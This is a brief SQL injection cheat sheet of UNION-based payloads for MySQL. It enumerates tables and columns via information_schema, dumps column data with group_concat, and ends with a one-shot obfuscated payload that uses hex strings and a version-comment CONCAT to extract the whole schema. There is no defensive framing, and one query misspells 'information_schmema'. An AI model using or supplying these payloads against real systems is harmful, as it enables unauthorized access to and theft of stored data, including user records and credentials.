SQL injection (getting table name ,col name and data)

//dump ALL TABLES FROM DATABASE name
group_concat(TABLE_NAME)

FROM information_schmema.TABLES WHERE table_schema=DATABASE()


//dump COLUMNS FROM TABLE
group_concat(column_name)

FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND TABLE_NAME='yourtable'

//dump datas FROM COLUMNS
group_concat(column1,0x3a,column2)

FROM yourtablename

//dump ALL we want
(SELECT (@x) FROM (SELECT (@x:=0x00), (SELECT (0) FROM (information_schema.COLUMNS) WHERE (table_schema!=0x696e666f726d6174696f6e5f736368656d61) AND (0x00) IN (@x:=/*!50000concat*/(@x,0x3c62723e,table_schema,0x272d2d3e27,TABLE_NAME,0x272d2d3e27,column_name))))x)


//usage
UNION SELECT 1,2,3,4,5,6,7,8,9